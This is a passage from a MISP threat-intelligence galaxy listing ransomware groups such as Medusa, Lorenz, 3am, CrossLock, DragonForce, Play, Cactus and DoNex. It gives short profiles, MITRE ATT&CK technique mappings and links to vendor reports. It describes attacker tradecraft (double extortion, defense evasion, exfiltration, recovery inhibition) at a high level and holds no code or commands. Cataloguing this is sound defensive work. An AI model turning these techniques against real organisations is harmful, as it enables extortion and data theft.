https://www.hhs.gov/sites/default/files/rhysida-ransomware-sector-alert-tlpclear.pdf
https://www.trendmicro.com/en_dk/research/23/h/an-overview-of-the-new-rhysida-ransomware.html

c3rb3r

The tag is: *misp-galaxy:ransomware="c3rb3r"*

Table 13765. Table References

Links
https://www.ransomlook.io/group/c3rb3r
https://www.sentinelone.com/blog/c3rb3r-ransomware-ongoing-exploitation-of-cve-2023-22518-targets-unpatched-confluence-servers/
https://threats.wiz.io/all-tools/c3rb3r-ransomware
https://www.bleepingcomputer.com/news/security/paraguay-warns-of-black-hunt-ransomware-attacks-after-tigo-business-breach/

trigona

The tag is: *misp-galaxy:ransomware="trigona"*

Table 13766. Table References

Links
https://www.ransomlook.io/group/trigona

malas

The tag is: *misp-galaxy:ransomware="malas"*

Table 13767. Table References

Links
https://www.ransomlook.io/group/malas

space bears

The tag is: *misp-galaxy:ransomware="space bears"*

Table 13768. Table References

Links
https://www.ransomlook.io/group/space bears[https://www.ransomlook.io/group/space bears]

shadow

The tag is: *misp-galaxy:ransomware="shadow"*

Table 13769. Table References

Links
https://www.ransomlook.io/group/shadow

medusa

The ransomware landscape remains active in 2024, with various ransomware groups attacking a wide range of organizations. In this context, Medusa Ransomware has emerged as a significant cyber threat, standing out for its data encryption and extortion operations.

Medusa Ransomware appeared in 2021, quickly becoming one of the most feared cyber threats. This malware encrypts critical files and demands ransoms in cryptocurrency, exploiting vulnerabilities in corporate and institutional systems. Known for its advanced phishing tactics, Medusa infiltrates networks with ease, causing significant damage.

Critical sectors such as healthcare and finance have been severely impacted, facing operational disruptions and substantial financial losses. The ransomware continuously evolves, making it difficult for security experts to neutralize it. Medusa's rapid adaptation to new security defenses underscores the urgent need for more robust cybersecurity measures, emphasizing the importance of proactive cybersecurity.

The rise of Medusa Ransomware serves as a global warning about the dangers of sophisticated cyber threats and the need for ongoing preparedness.

The tag is: *misp-galaxy:ransomware="medusa"*

View relationships graph

medusa has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Safe Mode Boot - T1562.009" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="very-likely"

Table 13770. Table References

Links
https://www.ransomlook.io/group/medusa
https://twitter.com/ThreatFabric/status/1285144962695340032
https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html
https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html
https://news.drweb.com/show/?i=10302&lng=en
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.arbornetworks.com/blog/asert/medusahttp-ddos-slithers-back-spotlight/
https://zerophagemalware.com/2017/10/13/rig-ek-via-malvertising-drops-a-miner/

mogilevich

The tag is: *misp-galaxy:ransomware="mogilevich"*

Table 13771. Table References

Links
https://www.ransomlook.io/group/mogilevich

malek team

The tag is: *misp-galaxy:ransomware="malek team"*

Table 13772. Table References

Links
https://www.ransomlook.io/group/malek team[https://www.ransomlook.io/group/malek team]

ra group

The tag is: *misp-galaxy:ransomware="ra group"*

Table 13773. Table References

Links
https://www.ransomlook.io/group/ra group[https://www.ransomlook.io/group/ra group]

slug

The tag is: *misp-galaxy:ransomware="slug"*

Table 13774. Table References

Links
https://www.ransomlook.io/group/slug

lorenz

Tesorion describes Lorenz as a ransomware with design and implementation flaws, leading to impossible decryption with tools provided by the attackers. A free decryptor for 2021 versions was made available via the NoMoreRansom initiative. A new version of the malware was discovered in March 2022, for which again was provided a free decryptor, while the ransomware operators are not able to provide tools to decrypt affected files.

The tag is: *misp-galaxy:ransomware="lorenz"*

Table 13775. Table References

Links
https://www.ransomlook.io/group/lorenz
https://www.zdnet.com/article/lorenz-ransomware-attack-victims-can-now-retrieve-their-files-for-free-with-this-decryption-tool

https://www.cybertalk.org/the-worst-outcomes-lorenz-ransomware-a-new-double-extortion-strategy
https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/
https://therecord.media/free-decrypter-available-for-lorenz-ransomware/
https://twitter.com/AltShiftPrtScn/status/1423190900516302860?s=20
https://www.bleepingcomputer.com/news/security/meet-lorenz-a-new-ransomware-gang-targeting-the-enterprise/
https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware
https://www.tesorion.nl/en/posts/lorenz-ransomware-analysis-and-a-free-decryptor/
https://www.tesorion.nl/en/posts/lorenz-ransomware-rebound-corruption-and-irrecoverable-files/

team underground

The tag is: *misp-galaxy:ransomware="team underground"*

Table 13776. Table References

Links
https://www.ransomlook.io/group/team underground[https://www.ransomlook.io/group/team underground]

3am

The tag is: *misp-galaxy:ransomware="3am"*

View relationships graph

3am has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"

Table 13777. Table References

Links
https://www.ransomlook.io/group/3am
https://security.com/threat-intelligence/3am-ransomware-lockbit
https://tripwire.com/state-of-security/3am-ransomware-what-you-need-know
https://news.sophos.com/en-us/2025/05/20/a-familiar-playbook-with-a-twist-3am-ransomware-actors-dropped-virtual-machine-with-vishing-and-quick-assist/
https://quorumcyber.com/malware-reports/3am-ransomware-report/
https://sos-vo.org/index.php/news/cybersecurity-snapshots-3am-ransomware
https://darkreading.com/threat-intelligence/3am-ransomware-adopts-email-bombing-vishing

crosslock

CrossLock ransomware was first observed in April 2023, targeting an IT services firm in Brazil using a double-extortion approach—encrypting data and threatening to leak it publicly. Written in Go, it uses a hybrid encryption scheme combining ChaCha20 for file encryption with Curve25519 for key protection. Victims see their files renamed with the .crlk extension and ransom notes titled ---CrossLock_readme_To_Decrypt---.txt. The malware includes advanced techniques like Event Tracing for Windows (ETW) bypass and process mimicking (e.g., Cybereason processes) for stealth. It was publicly tracked until July 2023, after which activity (and its leak site) went offline.

The tag is: *misp-galaxy:ransomware="crosslock"*

View relationships graph

crosslock has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-

language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="very-likely"

Table 13778. Table References

Links
https://www.ransomlook.io/group/crosslock
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/crosslock
https://www.sentinelone.com/anthology/crosslock/
https://www.netskope.com/blog/netskope-threat-coverage-crosslock-ransomware
https://cyble.com/blog/crosslock-ransomware-emerges-new-golang-based-malware-on-the-horizon
https://rewterz.com/rewterz-threat-alert-crosslock-ransomware-active-iocs

cyclops

Cyclops ransomware was rebranded as Knight around mid-2023, emerging initially in early 2023. It operates as a Ransomware-as-a-Service (RaaS), targeting multiple platforms including Windows, macOS, Linux, and ESXi systems. Crafted in Go, it uses strong encryption algorithms like ChaCha20 and Curve25519. Knight includes both a full and "lite" encryptor, supports batch attacks, hosts a Tor leak site, and offers a web portal for affiliates—positioning itself as a scalable and partner-friendly ransomware operation. Affiliates can manage deployments, track payments, and negotiate with victims through a sophisticated RaaS platform.

The tag is: *misp-galaxy:ransomware="cyclops"*

Table 13779. Table References

Links
https://www.ransomlook.io/group/cyclops
https://www.sentinelone.com/anthology/knight/

https://www.kelacyber.com/blog/cyclops-ransomware-gang-unveils-knight-raas/
https://wwwMicrosoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom%3AWin64%2FKnight.ZB!MTB
https://cloudsek.com/ar/blog/understanding-knight-ransomware-advisory-analysis
https://www.quorumcyber.com/malware-reports/knight-ransomware-report/

dragonforce

Research on the operators of the DragonForce ransomware was conducted, and it was identified that the group emerged around mid-November 2023. They employ the same method as many other ransomware groups, using double extortion in their attacks, i.e., data encryption and extortion for the publication of the attacks.

Initially, according to research, it was identified that another hacktivist group, also named DragonForce and based in Malaysia, conducted several campaigns in 2021 and 2022 against various government organizations and agencies across the Middle East and Asia. Additionally, the hacktivist group announced in 2022 its intention to initiate ransomware attacks. However, due to the limitation and difficulty in obtaining substantial information, no direct link could be established.

The activities of the DragonForce ransomware group were identified in November 2023 through a clandestine forum, where they announced their victims via data leaks.

Some samples related to the DragonForce ransomware group were obtained, and it was concluded that the group uses a binary (ransomware) based on LockBit Black. In other words, this threat group took advantage of the previously leaked builder from another ransomware group, LockBit, and incorporated these samples into their attacks to encrypt data.

The company Cyble published an analysis indicating that the ransomware used by DragonForce has a 99% similarity to the LockBit Black ransomware, suggesting the use of the leaked builder.

It is worth noting that the ransomware performs the entire operational routine, terminating processes, encrypting specific files, and subsequently creating a ransom note for the victim.

The tag is: *misp-galaxy:ransomware="dragonforce"*

View relationships graph

dragonforce has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"

Table 13780. Table References

Links
https://www.ransomlook.io/group/dragonforce
https://www.ransomware.live/group/dragonforce
https://www.sentinelone.com/blog/dragonforce-ransomware-gang-from-hacktivists-to-high-street-extortionists/
https://www.barracuda.com/blog/dragonforce-ransomware-cartel-vs—everybody
https://www.secureworks.com/blog/ransomware-groups-evolve-affiliate-models
https://www.reuters.com/business/retail-consumer/ms-cyberattack-was-carried-out-by-dragonforce-chairman-says-2025-07-08/
https://www.ft.com/content/22cb54ef-1611-4aef-b671-16316280e3fb
https://www.scworld.com/brief/dragonforce-victimization-on-the-rise-report-finds

ransomhub

A new ransomware group is said to have emerged in the cyber threat landscape. This time, it is a group known as RansomHub. The group emerged in mid-February 2024 and has already listed several organizations as alleged victims of their attacks, resulting from extortion through encryption and data leaks.

The tag is: *misp-galaxy:ransomware="ransomhub"*

View relationships graph

ransomhub has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="very-likely"

Table 13781. Table References

Links
https://www.ransomlook.io/group/ransomhub

la piovra

The tag is: *misp-galaxy:ransomware="la piovra"*

Table 13782. Table References

Links
https://www.ransomlook.io/group/la piovra[https://www.ransomlook.io/group/la piovra]

wiper leak

The tag is: *misp-galaxy:ransomware="wiper leak"*

Table 13783. Table References

Links
https://www.ransomlook.io/group/wiper leak[https://www.ransomlook.io/group/wiper leak]

play

Initially observed in June 2022, the Play ransomware (a.k.a PlayCrypt) operates through double extortion, targeting numerous organizations in Latin America. Its Initial Access method is quite similar to other ransomwares, involving attacks such as Phishing, Exposed Services to the Internet, and Valid Account compromises.

On April 19, 2023, the security company Symantec published two new tools developed by the Play group. These tools allow the malicious actor to enumerate and exfiltrate data from the internal network. The post mentions the following: "Play threat actors use the .NET infostealer to enumerate software and services via WMI, WinRM, Remote Registry, and Remote Service. The malware checks for the existence of security and backup software, as well as remote administration tools and other programs, saving the information in .CSV files that are compressed into a .ZIP file for later manual exfiltration by threat actors." These tools make use of the following .NET frameworks (Costura, AlphaVSS).

The tag is: *misp-galaxy:ransomware="play"*

Table 13784. Table References

Links
https://www.ransomlook.io/group/play

https://chuongdong.com/reverse%20engineering/2022/09/03/PLAYRansomware/
https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html
https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/

ransomware blog

Also known as MedusaLocker

The tag is: *misp-galaxy:ransomware="ransomware blog"*

Table 13785. Table References

Links
https://www.ransomlook.io/group/ransomware blog[https://www.ransomlook.io/group/ransomware blog]

trisec

The tag is: *misp-galaxy:ransomware="trisec"*

Table 13786. Table References

Links
https://www.ransomlook.io/group/trisec

qiulong

The tag is: *misp-galaxy:ransomware="qiulong"*

Table 13787. Table References

Links
https://www.ransomlook.io/group/qiulong

cactus

The CACTUS ransomware is said to have emerged around March 2023. The group became known for exploiting vulnerabilities to gain initial access and maintain a presence within the organization's infrastructure. There is little known information about the ransomware group, except that it emerged on the mentioned date and, following encryption, a text file named 'cAcTuS.readme.txt' would be created. Additionally, encrypted files were altered to the '.cts1' extension, and data exfiltration and victim extortion were conducted through the use of the service known as Tox. As mentioned earlier, the ransomware especially exploits vulnerabilities in VPNs, also utilizing obfuscation techniques to conceal its activities, such as employing UPX and utilizing

encryption algorithms like OpenSSL, AES OCB, ChaCha20_Poly1305, system reinitializations, and others.

The tag is: *misp-galaxy:ransomware="cactus"*

View relationships graph

cactus has relationships with:

- uses: misp-galaxy:tactic="Initial Access" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Execution" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Persistence" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Privilege Escalation" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Defense Evasion" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Credential Access" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Discovery" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Lateral Movement" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Collection" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Command and Control" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Exfiltration" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Impact" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"

Table 13788. Table References

Links
https://www.ransomlook.io/group/cactus
https://www.kroll.com/en/insights/publications/cyber/cactus-ransomware-prickly-new-variant-evades-detection
https://socradar.io/dark-web-profile-cactus-ransomware/
https://securityscorecard.com/wp-content/uploads/2024/01/Whitepaper-Cactus-Ransomware.pdf
https://thehackernews.com/2023/11/cactus-ransomware-exploits-qlik-sense.html
https://www.sentinelone.com/anthology/cactus-ransomware/
https://blog.barracuda.com/2024/03/20/who-is-behind-cactus-ransomware
https://www.kroll.com/en/publications/cyber/cactus-ransomware-prickly-new-variant-evades-detection
https://tripwire.com/state-of-security/cactus-ransomware-what-you-need-know
https://www.trendmicro.com/en_us/research/25/b/black-basta-cactus-ransomware-backconnect.html

ciphbit

The tag is: *misp-galaxy:ransomware="ciphbit"*

Table 13789. Table References

Links
https://www.ransomlook.io/group/ciphbit
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/ciphbit
https://www.pcrisk.com/removal-guides/27862-ciphbit-ransomware
https://www.hookphish.com/blog/ransomware-group-ciphbit-hits-iptelecom-gmbh/
https://cyberpress.org/ciphbit-ransomware-attack/

inc ransom

The tag is: *misp-galaxy:ransomware="inc ransom"*

Table 13790. Table References

Links

https://www.ransomlook.io/group/inc ransom[https://www.ransomlook.io/group/inc ransom]

arcus media

The tag is: *misp-galaxy:ransomware="arcus media"*

Table 13791. Table References

Links
https://www.ransomlook.io/group/arcus media[https://www.ransomlook.io/group/arcus media]
https://halcyon.ai/blog/arcus-media-ransomware-displays-novel-process-targeting-selective-encryption-and-recovery-disruption
https://halcyon.ai/blog/emerging-threat-actor-arcus-media-ransomware
https://securitybuzz.com/cybersecurity-news/arcus-media-the-rising-ransomware-threat-redefining-modern-cybersecurity-defenses/
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/arcus-media

jo of satan

The tag is: *misp-galaxy:ransomware="jo of satan"*

Table 13792. Table References

Links
https://www.ransomlook.io/group/jo of satan[https://www.ransomlook.io/group/jo of satan]

rancoz

The tag is: *misp-galaxy:ransomware="rancoz"*

Table 13793. Table References

Links
https://www.ransomlook.io/group/rancoz

dunghill

Dunghill Leak is the publicly branded data leak site (DLS) operated by the Dark Angels ransomware group, established circa January 2023. Rather than a standalone encryption threat, it serves as the disclosure and extortion platform where stolen victim data is published if ransom demands are ignored. Dark Angels is known for highly targeted “big game hunting” tactics, exfiltrating tens to hundreds of terabytes of corporate data, often without encrypting systems. Victims include major industry players—like Johnson Controls, Sabre, Sysco, and a Fortune 50 firm—which reportedly paid a record-breaking $75 million USD ransom. The leak site is complemented by a mirrored Telegram channel for distributing victim announcements and maintaining negotiation traffic.

The tag is: *misp-galaxy:ransomware="dunghill"*

Table 13794. Table References

Links
https://www.ransomlook.io/group/dunghill
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/dunghill-leak
https://www.zscaler.com/blogs/security-research/shining-light-dark-angels-ransomware-group
https://krebsonsecurity.com/2024/08/low-drama-dark-angels-reap-record-ransoms/
https://www.isaca.org/resources/news-and-trends/industry-news/2024/darkangels-strikes-big-record-breaking-ransom-secured
https://www.techtarget.com/searchsecurity/feature/The-mystery-of-the-75M-ransom-payment-to-Dark-Angels

u-bomb

The tag is: *misp-galaxy:ransomware="u-bomb"*

Table 13795. Table References

Links
https://www.ransomlook.io/group/u-bomb

cryptbb

The tag is: *misp-galaxy:ransomware="cryptbb"*

Table 13796. Table References

Links
https://www.ransomlook.io/group/cryptbb

noname

The tag is: *misp-galaxy:ransomware="noname"*

Table 13797. Table References

Links
https://www.ransomlook.io/group/noname

knight

The tag is: *misp-galaxy:ransomware="knight"*

Table 13798. Table References

Links
https://www.ransomlook.io/group/knight
https://www.bleepingcomputer.com/news/security/knight-ransomware-rebrands-from-cyclops-targets-windows-linux-esxi/
https://www.trendmicro.com/en_us/research/23/h/knight-ransomware-raas.html
https://www.sentinelone.com/labs/knight-ransomware-raas-targets-multiple-platforms/

zeon

The tag is: *misp-galaxy:ransomware="zeon"*

Table 13799. Table References

Links
https://www.ransomlook.io/group/zeon

insane ransomware

Insane is a relatively obscure ransomware family first reported in late 2021, with few confirmed incidents in public threat intelligence. It encrypts victim files using symmetric encryption (AES) combined with RSA for key protection and appends the .insane extension to affected files. The ransom note, typically named INSANE_README.txt, directs victims to contact the operators via email for decryption instructions. Based on limited reporting, Insane does not appear to operate as a Ransomware-as-a-Service (RaaS) platform; instead, it seems to be deployed by the core operators in targeted attacks. Initial access methods are not well-documented, but suspected vectors include phishing attachments and exploitation of exposed RDP services. The group's small footprint in open-source intelligence suggests limited distribution or use in highly selective campaigns.

The tag is: *misp-galaxy:ransomware="insane ransomware"*

Table 13800. Table References

Links
https://www.ransomlook.io/group/insane ransomware[https://www.ransomlook.io/group/insane ransomware]
https://id-ransomware.blogspot.com/2021/11/insane-ransomware.html
https://www.pcrisk.com/removal-guides/22493-insane-ransomware

ransomed

The tag is: *misp-galaxy:ransomware="ransomed"*

Table 13801. Table References

Links

https://www.ransomlook.io/group/ransomed

ransom corp

The tag is: *misp-galaxy:ransomware="ransom corp"*

Table 13802. Table References

Links
https://www.ransomlook.io/group/ransom corp[https://www.ransomlook.io/group/ransom corp]

donex

The ransomware group known as DoNex was first identified in mid-March 2024. According to the data collected, the samples used by the group were compiled in mid-February, suggesting that it is a relatively new operation.

The tag is: *misp-galaxy:ransomware="donex"*

View relationships graph

donex has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-

language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with

estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="very-likely"
- similar: misp-galaxy:ransomware="darkrace" with estimative-language:likelihood-probability="roughly-even-chance"

Table 13803. Table References

Links
https://www.ransomlook.io/group/donex
https://www.fortinet.com/blog/threat-research/ransomware-roundup-keganohitobito-and-donex
https://www.trendmicro.com/en_us/research/22/i/new-donex-ransomware-variant.html
https://www.helpnetsecurity.com/2024/07/08/decryptor-donex-muse-darkrace-fake-lockbit-3-0/
https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-donex-muse-and-darkrace-ransomware/

money message

The tag is: *misp-galaxy:ransomware="money message"*

Table 13804. Table References

Links
https://www.ransomlook.io/group/money message[https://www.ransomlook.io/group/money message]

handala

The tag is: *misp-galaxy:ransomware="handala"*

Table 13805. Table References

Links
https://www.ransomlook.io/group/handala
https://threats.wiz.io/all-actors/handala
https://malpedia.caad.fkie.fraunhofer.de/actor/handala
https://www.trellix.com/blogs/research/handalas-wiper-targets-israel/
